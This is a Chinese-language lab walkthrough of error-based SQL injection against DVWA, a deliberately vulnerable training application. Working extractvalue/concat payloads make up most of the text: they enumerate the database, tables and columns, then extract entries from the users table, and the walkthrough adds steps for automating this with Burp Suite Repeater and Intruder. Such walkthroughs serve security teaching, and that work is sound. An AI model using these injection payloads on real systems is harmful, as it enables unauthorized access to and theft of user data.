爆库名:
extractvalue报错注入,concat将多个字符串拼接在一起,0x7e表示~
1' and extractvalue(1,concat(0x7e,database()))#
可以看到有一个dvwa数据库
爆表数:
count计数函数,计算查询表的数量,information_schema.tables表示 sql内置表
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa')))#
dvwa库中共有两个表
爆表名:
dvwa库中有guestbook和users两个表 limit函数中含有的两个参数分别表示从什么位置开始查询,查询几个数据
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1)))#
爆列数:
table_schema='dvwa' 查询库名为dwa,table_name='users'查询表名为users,information_schema.columns 内置列,column_name列名,count(column_name)计算查询到的列数
1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')))#
dvwa库中的users表中共有8列
爆列名
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1)))#
可以通过修改url中的值来修改查询的表,limit后面的+表示空格,1表示从哪个位置开始查询
也可以通过burp suite来捉包快捷获取表名,抓取以下页面的包
将该包发送给重发器
通过修改limit后面的值来修改查询内容
也可以通过测试器来获取
首先将包发送给测试器
首先清除所有标记的内容,然后为所要修改的内容加上标记
修改载荷类型和数字范围,最后开始攻击
显示完所有内容后,点击响应,就会看到表名
爆列中信息数
1' and extractvalue(1,concat(0x7e,(select count( user) from users )));#
爆列中信息
1' and extractvalue(1,concat(0x7e,(select user from users limit 0,1)));#